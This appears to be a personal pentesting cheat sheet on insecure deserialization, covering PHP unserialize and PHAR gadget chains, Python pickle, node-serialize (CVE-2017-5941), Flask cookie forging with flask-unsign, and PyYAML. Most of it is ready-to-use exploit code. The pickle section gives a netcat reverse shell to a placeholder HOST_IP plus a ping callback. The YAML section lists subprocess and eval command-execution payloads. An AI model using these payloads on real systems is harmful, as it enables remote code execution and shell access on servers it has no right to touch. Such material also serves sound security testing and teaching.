Insecure Deserialization

owasptop10 deserialization

Insecure Deserialization is a vulnerability that occurs when the deserialization process can be exploited to run malicious code.


SerializedVariable Deserialization β€” PHP

The serialize function can be used to convert an object to a serialized string that can be loaded back using unserialize.

If the serialized data is user-controlled, we may be able to:

  • 🏁 Invoke defined methods using autoloading (e.g. not arbitrary)
  • πŸ”« Spoof the data to exploit the application (e.g. auth-bypass)

For this vulnerability to be exploited, we need to find a vulnerable class that can be leveraged for another attack or a RCE. We can find such classes easily if we identify a framework version in use.

SerializedVariable β€” Data Manipulation

php_deserialization php_serialization php_unserialize_pop_chain starbug_bounty

We may be able to bypass some checks or set some attributes.

$serialized = serialize(['user'=>'guest', 'is_admin'=>false]);
// a:2:{s:4:"user";s:5:"guest";s:8:"is_admin";b:0;}
$data = unserialize('a:2:{s:4:"user";s:5:"guest";s:8:"is_admin";b:1;}');
// ['user'=>'guest', 'is_admin'=>true]

This can be further exploited if there are some logic flaws.

SerializedVariable β€” Code Exposure

starbug_bounty

If we don't know which class we can exploit, we cannot do much. If errors are displayed when the deserialization failed, we can try fuzzing.

If the payload returns PHP_Incomplete_Class, the class doesn't exist.

payload="Toto"; print(f'O:{len(payload)}:"{payload}":0:{{}}')
# The output is: O:4:"Toto":0:{}

The next error message should indicate which method the code tried to call on the class. Once you found a valid class, try to determine the attributes by changing their values and checking the output.

attribute = "tata"; f'O:4:"Toto":1:{{s:{len(attribute)}:"{attribute}";s:3:"abc";}}'
# The output is: 'O:4:"Toto":1:{s:4:"tata";s:3:"abc";}'

Once you found all of them, try exploiting the class.

SerializedVariable β€” Program Flow Manipulation

php_deserialization php_unserialize_pop_chain

When unserializing an object, the method __wakeup is automatically called. This method may contain code that may be further exploited.

While we cannot inject code directly, we may be able to create a suite of successive method calls, referred to as a gadget chain πŸ€–. It may eventually lead to a RCE. Refer to phpggc (3.0k ⭐).

class Foo {}
class Bar
{
    public function __wakeup() {
        echo $this; // invoke __toString
    }

    public function __toString() {
        return "Bar.__toString";
    }

    // will be called when destroyed
    public function __destruct() { echo "Bar.__destruct"; }
}

$x = new Foo();      
$x->attr = new Bar();       // who cares 'attr' doesn't exist
unserialize(serialize($x)); // __wakeup will still be called

PHAR Deserialization β€” PHP

phar_deserialization

This vulnerability is at least present in PHP 5.6-7.4, but not in PHP 8.0+. This vulnerability leverages a SerializedVariable Deserialization, so we need to have a vulnerable class within the code.

Many functions, including functions that don't execute PHP code such as file_get_contents, fopen, file_exists, etc. are vulnerable.

$ php7.0 --define phar.readonly=0 create_phar.php
$ php7.0 vuln.php

vuln.php

<?php
class Foo {}
class Bar
{
    public function __wakeup() {
        echo $this; // invoke __toString
    }

    public function __toString() {
        return "Bar.__toString";
    }

    // will be called when destroyed
    public function __destruct() { echo "Bar.__destruct"; }
}

# Example
echo file_get_contents("phar://poc.phar/dummy.txt");

create_phar.php

<?php

class Foo {}
class Bar
{
    public function __wakeup() {
        echo $this; // invoke __toString
    }

    public function __toString() {
        return "Bar.__toString";
    }

    // will be called when destroyed
    public function __destruct() { echo "Bar.__destruct"; }
}

$x = new Foo();
$x->attr = new Bar();       // who cares 'attr' doesn't exist

// create new Phar
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->addFromString('dummy.txt', 'Done?');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$phar->setMetadata($x);
$phar->stopBuffering();

Pickle Deserialization β€” Python

unbakedpie python_pickle

The python pickle module can be used for object serialization, while it's explicitly stated that it shouldn't be used with untrusted input.

You can either use __reduce__ or use a function following checkoway article, the latter being sightly more complex.

class Exploit(object):
    def __reduce__(self):
        # write your code here

To test your exploit

payload = pickle.dumps(Exploit())
pickle.loads(payload)
# base64.urlsafe_b64encode(payload)

You may alternatively use pickle bytecode:

A few code samples, refer to payloads:

        import os
        return (os.system, ("echo 'Hello, World!'",))
        import os # doesn't work with pickle.dumps
        raise Exception(os.popen("whoami;id;pwd;ls -1a").read())
        import os # sudo tcpdump -i tun0 icmp
        return (os.system, ("ping -c 1 HOST_IP",))
        import os
        return (os.system, ("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1 | nc HOST_IP PORT > /tmp/f",))

node-serialize Deserialization β€” Python

jason node_serialize

The node-serialize (0.1k ⭐, 2017 πŸͺ¦) library is an unofficial unmaintained library that has multiple vulnerabilities.

Data should be the only thing serialized, but this library can serialize functions, which with untrusted input, leads to RCE.

The official vulnerability is CVE-2017-5941.

const serialize = require('node-serialize')
const payload = {
    "poc": function () {
        // payload here
    }
}

For payloads, refer to Node.js payloads.

// Serialize - but not executable yet
const serialized = serialize.serialize(payload);
// Immediately invoked function expression (IIFE) Patch
const serializedJson = JSON.parse(serialized)
for (const key in serializedJson) {
    if (serializedJson[key].includes("$$ND_FUNC$$")) {
        serializedJson[key] = serializedJson[key] + "()"
    }
}
// Serialize Again
const iife_serialized = JSON.stringify(serializedJson)

To execute the code:

serialize.unserialize(iife_serialized)

Example CVEs

CVE-2021-33026 (Flask/Python)

owasptop10 flask_unsecure_session

An insure deserialization in Flask (Python) allowed a hacker to craft a malicious cookie with a command inside. When the cookie was deserialized, the command was executed by the server.

$ pip3 install flask-unsign[wordlist]
$ sudo ln -s /home/<xxx>/.local/bin/flask-unsign /usr/bin/flask-unsign
$ flask-unsign --decode --cookie 'cookie'        # decode
$ flask-unsign --unsign --cookie 'cookie'        # find key
$ flask-unsign --sign --cookie '' --secret 'dev' # encode

Yaml Deserialization - PyYAML

python_yaml_deserialization yaml_deserialization yaml_deserialization

PyYAML version 6 and below instanciated by default an insecure parser which could be exploited to run python code.

xxx: !!python/object/apply:time.sleep [2]

The xxx: is only necessary if a specific element (e.g., xxx) is rendered.

!!python/object/apply:builtins.range [1,10,1]
!!python/object/apply:subprocess.Popen ["ls"]
!!python/object/apply:subprocess.check_output [['ls', '-la']]
!!python/object/apply:builtins.eval [ "5" ]
!!python/object/apply:builtins.eval [ "__import__('subprocess') or 'error'" ]
!!python/object/apply:builtins.eval [ "__import__('subprocess').check_output(['ls', '-l']).decode('utf-8') or 'error'" ]

➑️ See also: python-deserialization-payload-generator (0.1k ⭐).


πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.